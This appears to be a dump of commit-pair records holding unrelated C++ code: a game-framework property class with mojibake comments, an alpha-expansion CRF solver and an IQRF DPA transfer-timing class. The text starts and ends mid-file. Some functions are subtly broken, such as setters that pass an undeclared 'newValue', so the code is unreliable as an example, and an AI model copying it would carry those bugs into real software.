\/\/ǿվΪûݣûݵľͲ\r\n\t\tif (std::abs(value) < 0.001)\r\n\t\t{\r\n return false;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_FLOAT));\r\n mxData->SetFloat(0.0);\r\n }\r\n\r\n if (value - mxData->GetFloat() < 0.001)\r\n {\r\n return false;\r\n }\r\n\r\n\r\n\tNFCDataList::TData oldValue;\r\n\toldValue = *mxData;\r\n\r\n\tmxData->SetFloat(value);\r\n\r\n\r\n\tOnEventHandler(oldValue , newValue);\r\n\r\n\treturn true;\r\n}\r\n\r\nbool NFCProperty::SetString(const std::string& value)\r\n{\r\n if (eType != TDATA_STRING)\r\n {\r\n return false;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n \/\/ǿվΪûݣûݵľͲ\r\n if (value.empty())\r\n {\r\n return false;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_STRING));\r\n mxData->SetString(NULL_STR);\r\n }\r\n\r\n if (value == mxData->GetString())\r\n {\r\n return false;\r\n }\r\n\r\n\tNFCDataList::TData oldValue;\r\n\toldValue = *mxData;\r\n\r\n\tmxData->SetString(value);\r\n\r\n\tOnEventHandler(oldValue , newValue);\r\n\r\n\treturn true;\r\n}\r\n\r\nbool NFCProperty::SetObject(const NFGUID& value)\r\n{\r\n if (eType != TDATA_OBJECT)\r\n {\r\n return false;\r\n }\r\n\r\n if (!mxData.get())\r\n {\r\n \/\/ǿվΪûݣûݵľͲ\r\n if (value.IsNull())\r\n {\r\n return false;\r\n }\r\n\r\n mxData = NF_SHARE_PTR<NFIDataList::TData>(NF_NEW NFIDataList::TData(TDATA_OBJECT));\r\n mxData->SetObject(NFGUID());\r\n\r\n }\r\n\r\n if (value == mxData->GetObject())\r\n {\r\n return false;\r\n }\r\n\r\n NFCDataList::TData oldValue;\r\n oldValue = *mxData;\r\n\r\n mxData->SetObject(value);\r\n\r\n OnEventHandler(oldValue , *mxData);\r\n\r\n return true;\r\n}\r\n\r\nbool NFCProperty::Changed() const\r\n{\r\n return GetValue().IsNullValue();\r\n}\r\n\r\nconst TDATA_TYPE NFCProperty::GetType() const\r\n{\r\n return eType;\r\n}\r\n\r\nconst bool NFCProperty::GeUsed() const\r\n{\r\n if (mxData.get())\r\n {\r\n return true;\r\n }\r\n\r\n return false;\r\n}\r\n\r\nstd::string NFCProperty::ToString()\r\n{\r\n std::string strData;\r\n const TDATA_TYPE eType = GetType();\r\n switch (eType)\r\n {\r\n case TDATA_INT:\r\n strData = lexical_cast<std::string> (GetInt());\r\n break;\r\n\r\n case TDATA_FLOAT:\r\n strData = lexical_cast<std::string> (GetFloat());\r\n break;\r\n\r\n case TDATA_STRING:\r\n strData = lexical_cast<std::string> (GetString());\r\n break; \r\n case TDATA_OBJECT:\r\n strData = GetObject().ToString();\r\n break;\r\n default:\r\n\r\n strData = NULL_STR;\r\n break;\r\n }\r\n\r\n return strData;\r\n}\r\n\r\nbool NFCProperty::FromString( const std::string& strData )\r\n{\r\n const TDATA_TYPE eType = GetType();\r\n bool bRet = false;\r\n switch (eType)\r\n {\r\n case TDATA_INT:\r\n {\r\n NFINT64 nValue = 0;\r\n bRet = NF_StrTo(strData, nValue);\r\n SetInt(nValue);\r\n }\r\n break;\r\n\r\n case TDATA_FLOAT:\r\n {\r\n double dValue = 0;\r\n bRet = NF_StrTo(strData, dValue);\r\n SetFloat(dValue);\r\n }\r\n break;\r\n\r\n case TDATA_STRING:\r\n {\r\n SetString(strData);\r\n bRet = true;\r\n }\r\n break; \r\n case TDATA_OBJECT:\r\n {\r\n NFGUID xID;\r\n \r\n bRet = xID.FromString(strData); \r\n SetObject(xID);\r\n }\r\n break;\r\n default:\r\n break;\r\n }\r\n\r\n return bRet;\r\n}\r\n<|endoftext|>"} {"text":"<commit_before><commit_msg>Messages<commit_after><|endoftext|>"} {"text":"<commit_before>#include \"alpha-expansion.hpp\"\n\nMultiLabelCRF::MultiLabelCRF(Label max_label)\n : m_num_labels(max_label),\n m_constant_term(0),\n m_cliques(),\n m_unary_cost(),\n m_labels()\n{ }\n\nMultiLabelCRF::NodeId MultiLabelCRF::AddNode(int n) {\n NodeId ret = m_labels.size();\n for (int i = 0; i < n; ++i) {\n m_labels.push_back(0);\n UnaryCost uc(m_num_labels, 0);\n m_unary_cost.push_back(uc);\n }\n return ret;\n}\n\nint MultiLabelCRF::GetLabel(NodeId i) const {\n return m_labels[i];\n}\n\nvoid MultiLabelCRF::AddConstantTerm(REAL c) {\n m_constant_term += c;\n}\n\nvoid MultiLabelCRF::AddUnaryTerm(NodeId i, const std::vector<REAL>& coeffs) {\n ASSERT(coeffs.size() == m_num_labels);\n for (size_t j = 0; j < m_num_labels; ++j) {\n m_unary_cost[i][j] += coeffs[j];\n }\n}\n\nvoid MultiLabelCRF::AddClique(const CliquePtr& cp) {\n m_cliques.push_back(cp);\n}\n\nvoid MultiLabelCRF::SetupAlphaEnergy(Label alpha, SubmodularFlow& crf) const {\n typedef int32_t Assgn;\n for (const CliquePtr& cp : m_cliques) {\n const Clique& c = *cp;\n const size_t k = c.Size();\n ASSERT(k < 32);\n const Assgn max_assgn = 1 << k;\n std::vector<REAL> energy_table;\n std::vector<Label> label_buf;\n for (Assgn a = 0; a < max_assgn; ++a) {\n label_buf.clear();\n for (size_t i_idx = 0; i_idx < k; ++i_idx) {\n if (a & (1 << i_idx))\n label_buf.push_back(alpha);\n else\n label_buf.push_back(m_labels[c.Nodes()[i_idx]]);\n }\n energy_table.push_back(c.Energy(label_buf));\n }\n crf.AddClique(c.Nodes(), energy_table);\n }\n}\n\nvoid MultiLabelCRF::AlphaExpansion() {\n std::cout << \"Starting Alpha Expansion\\n\";\n REAL last_energy = std::numeric_limits<REAL>::max();\n REAL energy = ComputeEnergy();\n const NodeId n = m_labels.size();\n size_t num_rounds = 0;\n while (energy < last_energy) {\n std::cout << \"\\tRound: \" << num_rounds;\n std::cout.flush();\n for (Label alpha = 0; alpha < m_num_labels; ++alpha) {\n std::cout << \".\";\n std::cout.flush();\n SubmodularFlow crf;\n crf.AddNode(m_labels.size());\n SetupAlphaEnergy(alpha, crf);\n crf.Solve();\n for (NodeId i = 0; i < n; ++i) {\n int crf_label = crf.GetLabel(i);\n if (crf_label == 1)\n m_labels[i] = alpha;\n }\n }\n std::cout << \"\\n\";\n last_energy = energy;\n energy = ComputeEnergy();\n num_rounds++;\n }\n}\n\nvoid MultiLabelCRF::Solve() {\n AlphaExpansion();\n}\n\nREAL MultiLabelCRF::ComputeEnergy() const {\n return ComputeEnergy(m_labels);\n}\n\nREAL MultiLabelCRF::ComputeEnergy(const std::vector<Label>& labels) const {\n REAL energy = m_constant_term;\n std::vector<Label> labelBuf;\n for (const CliquePtr& cp : m_cliques) {\n const Clique& c = *cp;\n labelBuf.clear();\n for (NodeId i : c.Nodes()) \n labelBuf.push_back(m_labels[i]);\n energy += c.Energy(labelBuf);\n }\n return energy;\n}\n\n<commit_msg>Actually adding unary terms to AlphaExpansion Energy<commit_after>#include \"alpha-expansion.hpp\"\n\nMultiLabelCRF::MultiLabelCRF(Label max_label)\n : m_num_labels(max_label),\n m_constant_term(0),\n m_cliques(),\n m_unary_cost(),\n m_labels()\n{ }\n\nMultiLabelCRF::NodeId MultiLabelCRF::AddNode(int n) {\n NodeId ret = m_labels.size();\n for (int i = 0; i < n; ++i) {\n m_labels.push_back(0);\n UnaryCost uc(m_num_labels, 0);\n m_unary_cost.push_back(uc);\n }\n return ret;\n}\n\nint MultiLabelCRF::GetLabel(NodeId i) const {\n return m_labels[i];\n}\n\nvoid MultiLabelCRF::AddConstantTerm(REAL c) {\n m_constant_term += c;\n}\n\nvoid MultiLabelCRF::AddUnaryTerm(NodeId i, const std::vector<REAL>& coeffs) {\n ASSERT(coeffs.size() == m_num_labels);\n for (size_t j = 0; j < m_num_labels; ++j) {\n m_unary_cost[i][j] += coeffs[j];\n }\n}\n\nvoid MultiLabelCRF::AddClique(const CliquePtr& cp) {\n m_cliques.push_back(cp);\n}\n\nvoid MultiLabelCRF::SetupAlphaEnergy(Label alpha, SubmodularFlow& crf) const {\n typedef int32_t Assgn;\n for (const CliquePtr& cp : m_cliques) {\n const Clique& c = *cp;\n const size_t k = c.Size();\n ASSERT(k < 32);\n const Assgn max_assgn = 1 << k;\n std::vector<REAL> energy_table;\n std::vector<Label> label_buf;\n for (Assgn a = 0; a < max_assgn; ++a) {\n label_buf.clear();\n for (size_t i_idx = 0; i_idx < k; ++i_idx) {\n if (a & (1 << i_idx))\n label_buf.push_back(alpha);\n else\n label_buf.push_back(m_labels[c.Nodes()[i_idx]]);\n }\n energy_table.push_back(c.Energy(label_buf));\n }\n crf.AddClique(c.Nodes(), energy_table);\n }\n const NodeId n = m_unary_cost.size();\n for (NodeId i = 0; i < n; ++i) {\n crf.AddUnaryTerm(i, m_unary_cost[i][m_labels[i]], m_unary_cost[i][alpha]);\n }\n}\n\nvoid MultiLabelCRF::AlphaExpansion() {\n std::cout << \"Starting Alpha Expansion\\n\";\n REAL last_energy = std::numeric_limits<REAL>::max();\n REAL energy = ComputeEnergy();\n const NodeId n = m_labels.size();\n size_t num_rounds = 0;\n while (energy < last_energy) {\n std::cout << \"\\tRound: \" << num_rounds;\n std::cout.flush();\n for (Label alpha = 0; alpha < m_num_labels; ++alpha) {\n std::cout << \".\";\n std::cout.flush();\n SubmodularFlow crf;\n crf.AddNode(m_labels.size());\n SetupAlphaEnergy(alpha, crf);\n crf.Solve();\n for (NodeId i = 0; i < n; ++i) {\n int crf_label = crf.GetLabel(i);\n if (crf_label == 1)\n m_labels[i] = alpha;\n }\n }\n std::cout << \"\\n\";\n last_energy = energy;\n energy = ComputeEnergy();\n num_rounds++;\n }\n}\n\nvoid MultiLabelCRF::Solve() {\n AlphaExpansion();\n}\n\nREAL MultiLabelCRF::ComputeEnergy() const {\n return ComputeEnergy(m_labels);\n}\n\nREAL MultiLabelCRF::ComputeEnergy(const std::vector<Label>& labels) const {\n REAL energy = m_constant_term;\n std::vector<Label> labelBuf;\n for (const CliquePtr& cp : m_cliques) {\n const Clique& c = *cp;\n labelBuf.clear();\n for (NodeId i : c.Nodes()) \n labelBuf.push_back(m_labels[i]);\n energy += c.Energy(labelBuf);\n }\n const NodeId n = m_labels.size();\n for (NodeId i = 0; i < n; ++i)\n energy += m_unary_cost[i][labels[i]];\n return energy;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/**\n * Copyright 2015-2017 MICRORISC s.r.o.\n * Copyright 2017 IQRF Tech s.r.o.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"DpaTransfer.h\"\n#include \"DpaTransaction.h\"\n\n#include \"unexpected_packet_type.h\"\n#include \"unexpected_command.h\"\n#include \"unexpected_peripheral.h\"\n\n#include \"IqrfLogging.h\"\n\nDpaTransfer::DpaTransfer()\n : m_status(kCreated), m_sentMessage(nullptr), m_responseMessage(nullptr),\n m_expectedDurationMs(400), m_timeoutMs(400), m_currentCommunicationMode(kStd), m_dpaTransaction(nullptr)\n{\n}\n\nDpaTransfer::DpaTransfer(DpaTransaction* dpaTransaction, IqrfRfCommunicationMode comMode)\n : m_status(kCreated), m_sentMessage(nullptr), m_responseMessage(nullptr),\n m_expectedDurationMs(400), m_timeoutMs(400), m_currentCommunicationMode(comMode), m_dpaTransaction(dpaTransaction)\n{\n}\n\nDpaTransfer::~DpaTransfer()\n{\n delete m_sentMessage;\n delete m_responseMessage;\n}\n\nvoid DpaTransfer::ProcessSentMessage(const DpaMessage& sentMessage)\n{\n TRC_ENTER(\"\");\n\n if (m_status != kCreated)\n {\n throw std::logic_error(\"Sent message already set.\");\n }\n\n \/\/ current request status is set as sent\n if (sentMessage.NodeAddress() == COORDINATOR_ADDRESS) {\n SetStatus(kSentCoordinator);\n }\n else {\n SetStatus(kSent);\n }\n\n \/\/ message itself is destroyed after being sent\n delete m_sentMessage;\n \/\/ creating object to hold new request\n m_sentMessage = new DpaMessage(sentMessage);\n\n \/\/ setting default timeout, no estimation yet\n SetTimingForCurrentTransfer();\n \n TRC_LEAVE(\"\");\n}\n\nvoid DpaTransfer::ProcessReceivedMessage(const DpaMessage& receivedMessage)\n{\n TRC_ENTER(\"\");\n\n if (receivedMessage.MessageDirection() != DpaMessage::kResponse\n && receivedMessage.MessageDirection() != DpaMessage::kConfirmation)\n throw unexpected_packet_type(\"Response is expected.\");\n \n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n \/\/ checks\n if (!IsInProgressStatus(m_status)) {\n throw unexpected_packet_type(\"Request has not been sent, yet.\");\n }\n\n if (receivedMessage.PeripheralType() != m_sentMessage->PeripheralType()) {\n throw unexpected_peripheral(\"Different peripheral type than in sent message.\");\n }\n\n if ((receivedMessage.PeripheralCommand() & ~0x80) != m_sentMessage->PeripheralCommand()) {\n throw unexpected_command(\"Different peripheral command than in sent message.\");\n }\n\n \/\/ direction\n auto messageDirection = receivedMessage.MessageDirection();\n if (messageDirection == DpaMessage::kConfirmation) {\n if (m_dpaTransaction) {\n m_dpaTransaction->processConfirmationMessage(receivedMessage);\n }\n\n ProcessConfirmationMessage(receivedMessage);\n TRC_INF(\"Confirmation processed.\");\n }\n else {\n if (m_dpaTransaction) {\n m_dpaTransaction->processResponseMessage(receivedMessage);\n }\n\n ProcessResponseMessage(receivedMessage);\n TRC_INF(\"Response processed.\");\n }\n TRC_LEAVE(\"\");\n}\n\nvoid DpaTransfer::ProcessConfirmationMessage(const DpaMessage& confirmationMessage)\n{\n if (confirmationMessage.NodeAddress() == DpaMessage::kBroadCastAddress) {\n m_status = kConfirmationBroadcast;\n }\n else {\n m_status = kConfirmation;\n }\n\n \/\/ setting timeout based on the confirmation\n SetTimingForCurrentTransfer(EstimatedTimeout(confirmationMessage));\n}\n\nvoid DpaTransfer::ProcessResponseMessage(const DpaMessage& responseMessage)\n{\n \/\/ if there is a request to coordinator then after receiving response it is allowed to send another\n if (m_status == kSentCoordinator) {\n \/\/ done, next request gets ready \n m_status = kProcessed;\n }\n else {\n \/\/ only if there is not infinite timeout\n if (m_expectedDurationMs != 0) {\n m_status = kReceivedResponse;\n \/\/ adjust timing before allowing next request\n SetTimingForCurrentTransfer(EstimatedTimeout(responseMessage));\n }\n \/\/ infinite timeout\n else {\n \/\/ done, next request gets ready \n m_status = kProcessed;\n }\n }\n\n delete m_responseMessage;\n m_responseMessage = new DpaMessage(responseMessage);\n}\n\nint32_t DpaTransfer::EstimatedTimeout(const DpaMessage& receivedMessage)\n{\n \/\/ direction\n auto direction = receivedMessage.MessageDirection();\n\n \/\/ double check\n if (direction != DpaMessage::kConfirmation && direction != DpaMessage::kResponse) {\n throw std::invalid_argument(\"Parameter is not a received message type.\");\n }\n\n \/\/ confirmation\n if (direction == DpaMessage::kConfirmation) {\n auto iFace = receivedMessage.DpaPacket().DpaResponsePacket_t.DpaMessage.IFaceConfirmation;\n\n \/\/ save for later use with response\n m_hops = iFace.Hops;\n m_timeslotLength = iFace.TimeSlotLength;\n m_hopsResponse = iFace.HopsResponse;\n\n \/\/ lp\n if (m_currentCommunicationMode == kLp) {\n return EstimateLpTimeout(m_hops, m_timeslotLength, m_hopsResponse);\n }\n \/\/ std\n return EstimateStdTimeout(m_hops, m_timeslotLength, m_hopsResponse);\n }\n\n \/\/ response\n if (direction == DpaMessage::kResponse) {\n \/\/ lp\n if (m_currentCommunicationMode == kLp) {\n return EstimateLpTimeout(m_hops, m_timeslotLength, m_hopsResponse, \n receivedMessage.GetLength() - (sizeof(TDpaIFaceHeader) + 2));\n }\n \/\/ std\n return EstimateStdTimeout(m_hops, m_timeslotLength, m_hopsResponse, \n receivedMessage.GetLength() - (sizeof(TDpaIFaceHeader) + 2));\n }\n}\n\nint32_t DpaTransfer::EstimateStdTimeout(uint8_t hopsRequest, uint8_t timeslotReq, uint8_t hopsResponse, int8_t responseDataLength)\n{\n TRC_ENTER(\"\");\n int32_t responseTimeSlotLengthMs;\n\n auto estimatedTimeoutMs = (hopsRequest + 1) * timeslotReq * 10;\n\n \/\/ estimation from confirmation \n if (responseDataLength == -1) {\n if (timeslotReq == 20) {\n responseTimeSlotLengthMs = 200;\n }\n else {\n \/\/ worst case\n responseTimeSlotLengthMs = 60;\n }\n }\n \/\/ correction of the estimation from response \n else {\n TRC_DBG(\"PData length of the received response: \" << PAR((int)responseDataLength));\n if (responseDataLength >= 0 && responseDataLength < 16)\n {\n responseTimeSlotLengthMs = 40;\n }\n else if (responseDataLength >= 16 && responseDataLength <= 39)\n {\n responseTimeSlotLengthMs = 50;\n }\n else if (responseDataLength > 39)\n {\n responseTimeSlotLengthMs = 60;\n }\n TRC_DBG(\"Correction of the response timeout: \" << PAR(responseTimeSlotLengthMs));\n }\n\n estimatedTimeoutMs += (hopsResponse + 1) * responseTimeSlotLengthMs + m_safetyTimeoutMs;\n\n TRC_DBG(\"Estimated STD timeout: \" << PAR(estimatedTimeoutMs));\n TRC_LEAVE(\"\");\n return estimatedTimeoutMs;\n}\n\nint32_t DpaTransfer::EstimateLpTimeout(uint8_t hopsRequest, uint8_t timeslotReq, uint8_t hopsResponse, int8_t responseDataLength)\n{\n TRC_ENTER(\"\");\n int32_t responseTimeSlotLengthMs;\n\n auto estimatedTimeoutMs = (hopsRequest + 1) * timeslotReq * 10;\n\n \/\/ estimation from confirmation \n if (responseDataLength == -1) {\n if (timeslotReq == 20) {\n responseTimeSlotLengthMs = 200;\n }\n else {\n \/\/ worst case\n responseTimeSlotLengthMs = 110;\n }\n }\n \/\/ correction of the estimation from response \n else {\n TRC_DBG(\"PData length of the received response: \" << PAR((int)responseDataLength));\n if (responseDataLength >= 0 && responseDataLength < 11)\n {\n responseTimeSlotLengthMs = 80;\n }\n else if (responseDataLength >= 11 && responseDataLength <= 33)\n {\n responseTimeSlotLengthMs = 90;\n }\n else if (responseDataLength >= 34 && responseDataLength <= 56)\n {\n responseTimeSlotLengthMs = 100;\n }\n else if (responseDataLength > 56)\n {\n responseTimeSlotLengthMs = 110;\n }\n TRC_DBG(\"Correction of the response timeout: \" << PAR(responseTimeSlotLengthMs));\n }\n\n estimatedTimeoutMs += (hopsResponse + 1) * responseTimeSlotLengthMs + m_safetyTimeoutMs;\n\n TRC_DBG(\"Estimated LP timeout: \" << PAR(estimatedTimeoutMs));\n TRC_LEAVE(\"\");\n return estimatedTimeoutMs;\n}\n\nvoid DpaTransfer::SetTimingForCurrentTransfer(int32_t estimatedTimeMs)\n{\n TRC_ENTER(\"\");\n\n \/\/ waiting forever\n if (m_timeoutMs == 0) {\n m_expectedDurationMs = m_timeoutMs;\n TRC_DBG(\"Expected duration to wait :\" << PAR(m_expectedDurationMs));\n return;\n }\n\n \/\/ adjust time to wait before allowing next request to go the iqrf network\n if (m_status == kReceivedResponse) {\n \/\/adjust new timing based on length of PData in response\n m_expectedDurationMs = estimatedTimeMs;\n TRC_DBG(\"New expected duration to wait :\" << PAR(m_expectedDurationMs));\n return;\n }\n\n \/\/ estimation done\n if (estimatedTimeMs >= 0) {\n \/\/ either default timeout is 400 or user sets lower time than estimated\n if (m_timeoutMs < estimatedTimeMs) {\n \/\/ in both cases use estimation from confirmation\n m_timeoutMs = estimatedTimeMs;\n }\n \/\/ set new duration\n \/\/ there is also case when user sets higher than estimation then user choice is set\n m_expectedDurationMs = m_timeoutMs;\n TRC_DBG(\"Expected duration to wait :\" << PAR(m_expectedDurationMs));\n }\n\n \/\/ start time when dpa request is sent and rerun again when confirmation is received\n m_startTime = std::chrono::system_clock::now();\n TRC_INF(\"Transfer status: started\");\n\n TRC_LEAVE(\"\");\n}\n\nDpaTransfer::DpaTransferStatus DpaTransfer::ProcessStatus() {\n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n \/\/ changes m_status, does not care about remains\n \/\/ todo: refactor and rename - two functions\n CheckTimeout();\n return m_status;\n}\n\nint32_t DpaTransfer::CheckTimeout()\n{\n int32_t remains(0);\n\n if (m_status == kCreated) {\n TRC_INF(\"Transfer status: created\");\n return remains;\n }\n\n if (m_status == kAborted) {\n TRC_INF(\"Transfer status: aborted\");\n return remains;\n }\n\n bool timingFinished(false);\n\n \/\/ infinite (0) is out of this statement\n if (m_expectedDurationMs > 0) {\n \/\/ passed time from sent request\n auto duration = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now() - m_startTime);\n remains = m_expectedDurationMs - duration.count();\n TRC_DBG(\"Time to wait: \" << PAR(remains));\n\n \/\/ already over?\n timingFinished = remains < 0;\n }\n\n \/\/ not yet set and yes time is over\n \/\/ processed or timeouted can be set only after finished timing\n if (m_status != kProcessed && m_status != kTimeout) {\n if (timingFinished) {\n \/\/ and we have received confirmation for broadcast or response\n if (m_status == kConfirmationBroadcast || m_status == kReceivedResponse) {\n SetStatus(kProcessed);\n TRC_INF(\"Transfer status: processed\");\n }\n else {\n SetStatus(kTimeout);\n TRC_INF(\"Transfer status: timeout\");\n }\n }\n }\n\n \/\/ time to wait\n return remains;\n}\n\nbool DpaTransfer::IsInProgress() {\n return IsInProgressStatus(ProcessStatus());\n}\n\nbool DpaTransfer::IsInProgress(int32_t& expectedDuration) {\n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n expectedDuration = CheckTimeout();\n return IsInProgressStatus(m_status);\n}\n\nbool DpaTransfer::IsInProgressStatus(DpaTransferStatus status)\n{\n switch (status)\n {\n case kSent:\n case kSentCoordinator:\n case kConfirmation:\n case kConfirmationBroadcast:\n case kReceivedResponse:\n return true;\n \/\/ kCreated, kProcessed, kTimeout, kAbort, kError\n default:\n return false;\n }\n}\n\nvoid DpaTransfer::Abort() {\n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n m_status = kAborted;\n}\n\nvoid DpaTransfer::SetStatus(DpaTransfer::DpaTransferStatus status)\n{\n m_status = status;\n}\n<commit_msg>Adding more traces around CheckTimeout()<commit_after>\/**\n * Copyright 2015-2017 MICRORISC s.r.o.\n * Copyright 2017 IQRF Tech s.r.o.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"DpaTransfer.h\"\n#include \"DpaTransaction.h\"\n\n#include \"unexpected_packet_type.h\"\n#include \"unexpected_command.h\"\n#include \"unexpected_peripheral.h\"\n\n#include \"IqrfLogging.h\"\n\nDpaTransfer::DpaTransfer()\n : m_status(kCreated), m_sentMessage(nullptr), m_responseMessage(nullptr),\n m_expectedDurationMs(400), m_timeoutMs(400), m_currentCommunicationMode(kStd), m_dpaTransaction(nullptr)\n{\n}\n\nDpaTransfer::DpaTransfer(DpaTransaction* dpaTransaction, IqrfRfCommunicationMode comMode)\n : m_status(kCreated), m_sentMessage(nullptr), m_responseMessage(nullptr),\n m_expectedDurationMs(400), m_timeoutMs(400), m_currentCommunicationMode(comMode), m_dpaTransaction(dpaTransaction)\n{\n}\n\nDpaTransfer::~DpaTransfer()\n{\n delete m_sentMessage;\n delete m_responseMessage;\n}\n\nvoid DpaTransfer::ProcessSentMessage(const DpaMessage& sentMessage)\n{\n TRC_ENTER(\"\");\n\n if (m_status != kCreated)\n {\n throw std::logic_error(\"Sent message already set.\");\n }\n\n \/\/ current request status is set as sent\n if (sentMessage.NodeAddress() == COORDINATOR_ADDRESS) {\n SetStatus(kSentCoordinator);\n }\n else {\n SetStatus(kSent);\n }\n\n \/\/ message itself is destroyed after being sent\n delete m_sentMessage;\n \/\/ creating object to hold new request\n m_sentMessage = new DpaMessage(sentMessage);\n\n \/\/ setting default timeout, no estimation yet\n SetTimingForCurrentTransfer();\n \n TRC_LEAVE(\"\");\n}\n\nvoid DpaTransfer::ProcessReceivedMessage(const DpaMessage& receivedMessage)\n{\n TRC_ENTER(\"\");\n\n if (receivedMessage.MessageDirection() != DpaMessage::kResponse\n && receivedMessage.MessageDirection() != DpaMessage::kConfirmation)\n throw unexpected_packet_type(\"Response is expected.\");\n \n std::lock_guard<std::mutex> lck(m_statusMutex);\n\n \/\/ checks\n if (!IsInProgressStatus(m_status)) {\n throw unexpected_packet_type(\"Request has not been sent, yet.\");\n }\n\n if (receivedMessage.PeripheralType() != m_sentMessage->PeripheralType()) {\n throw unexpected_peripheral(\"Different peripheral type than in sent message.\");\n }\n\n if ((receivedMessage.PeripheralCommand() & ~0x80) != m_sentMessage->PeripheralCommand()) {\n throw unexpected_command(\"Different peripheral command than in sent message.\");\n }\n\n \/\/ direction\n auto messageDirection = receivedMessage.MessageDirection();\n if (messageDirection == DpaMessage::kConfirmation) {\n if (m_dpaTransaction) {\n m_dpaTransaction->processConfirmationMessage(receivedMessage);\n }\n\n ProcessConfirmationMessage(receivedMessage);\n TRC_INF(\"Confirmation processed.\");\n }\n else {\n if (m_dpaTransaction) {\n m_dpaTransaction->processResponseMessage(receivedMessage);\n }\n\n ProcessResponseMessage(receivedMessage);\n TRC_INF(\"Response processed.\");\n }\n TRC_LEAVE(\"\");\n}\n\nvoid DpaTransfer::ProcessConfirmationMessage(const DpaMessage& confirmationMessage)\n{\n if (confirmationMessage.NodeAddress() == DpaMessage::kBroadCastAddress) {\n m_status = kConfirmationBroadcast;\n }\n else {\n m_status = kConfirmation;\n }\n\n \/\/ setting timeout based on the confirmation\n SetTimingForCurrentTransfer(EstimatedTimeout(confirmationMessage));\n}\n\nvoid DpaTransfer::ProcessResponseMessage(const DpaMessage& responseMessage)\n{\n \/\/ if there is a request to coordinator then after receiving response it is allowed to send another\n if (m_status == kSentCoordinator) {\n \/\/ done, next request gets ready \n m_status = kProcessed;\n }\n else {\n \/\/ only if there is not infinite timeout\n if (m_expectedDurationMs != 0) {\n m_status = kReceivedResponse;\n \/\/ adjust timing before allowing next request\n SetTimingForCurrentTransfer(EstimatedTimeout(responseMessage));\n }\n \/\/ infinite timeout\n else {\n \/\/ done, next request gets ready \n m_status = kProcessed;\n }\n }\n\n delete m_responseMessage;\n m_responseMessage = new DpaMessage(responseMessage);\n}\n\nint32_t DpaTransfer::EstimatedTimeout(const DpaMessage& receivedMessage)\n{\n \/\/ direction\n auto direction = receivedMessage.MessageDirection();\n\n \/\/ double check\n if (direction != DpaMessage::kConfirmation && direction != DpaMessage::kResponse) {\n throw std::invalid_argument(\"Parameter is not a received message type.\");\n }\n\n \/\/ confirmation\n if (direction == DpaMessage::kConfirmation) {\n auto iFace = receivedMessage.DpaPacket().DpaResponsePacket_t.DpaMessage.IFaceConfirmation;\n\n \/\/ save for later use with response\n m_hops = iFace.Hops;\n m_timeslotLength = iFace.TimeSlotLength;\n m_hopsResponse = iFace.HopsResponse;\n\n \/\/ lp\n if (m_currentCommunicationMode == kLp) {\n return EstimateLpTimeout(m_hops, m_timeslotLength, m_hopsResponse);\n }\n \/\/ std\n return EstimateStdTimeout(m_hops, m_timeslotLength, m_hopsResponse);\n }\n\n \/\/ response\n if (direction == DpaMessage::kResponse) {\n \/\/ lp\n if (m_currentCommunicationMode == kLp) {\n return EstimateLpTimeout(m_hops, m_timeslotLength, m_hopsResponse, \n receivedMessage.GetLength() - (sizeof(TDpaIFaceHeader) + 2));\n }\n \/\/ std\n return EstimateStdTimeout(m_hops, m_timeslotLength, m_hopsResponse, \n receivedMessage.GetLength() - (sizeof(TDpaIFaceHeader) + 2));\n }\n}\n\nint32_t DpaTransfer::EstimateStdTimeout(uint8_t hopsRequest, uint8_t timeslotReq, uint8_t hopsResponse, int8_t responseDataLength)\n{\n TRC_ENTER(\"\");\n int32_t responseTimeSlotLengthMs;\n\n auto estimatedTimeoutMs = (hopsRequest + 1) * timeslotReq * 10;\n\n \/\/ estimation from confirmation \n if (responseDataLength == -1) {\n if (timeslotReq == 20) {\n responseTimeSlotLengthMs = 200;\n }\n else {\n \/\/ worst case\n responseTimeSlotLengthMs = 60;\n }\n }\n \/\/ correction of the estimation from response \n else {\n TRC_DBG(\"PData length of the received response: \" << PAR((int)responseDataLength));\n if (responseDataLength >= 0 && responseDataLength < 16)\n {\n responseTimeSlotLengthMs = 40;\n }\n else if (responseDataLength >= 16 && responseDataLength <= 39)\n {\n responseTimeSlotLengthMs = 50;\n }\n else if (responseDataLength > 39)\n {\n responseTimeSlotLengthMs = 60;\n }\n TRC_DBG(\"Correction of the response timeout: \" << PAR(responseTimeSlotLengthMs));\n }\n\n estimatedTimeoutMs += (hopsResponse + 1) * responseTimeSlotLengthMs + m_safetyTimeoutMs;\n\n TRC_DBG(\"Estimated STD timeout: \" << PAR(estimatedTimeoutMs));\n TRC_LEAVE(\"\");\n return estimatedTimeoutMs;\n}\n\nint32_t DpaTransfer::EstimateLpTimeout(uint8_t hopsRequest, uint8_t timeslotReq, uint8_t hopsResponse, int8_t responseDataLength)\n{\n TRC_ENTER(\"\");\n int32_t responseTimeSlotLengthMs;\n\n auto estimatedTimeoutMs = (hopsRequest + 1) * timeslotReq * 10;\n\n \/\/ estimation from confirmation \n if (responseDataLength == -1) {\n if (timeslotReq == 20) {\n responseTimeSlotLengthMs = 200;\n 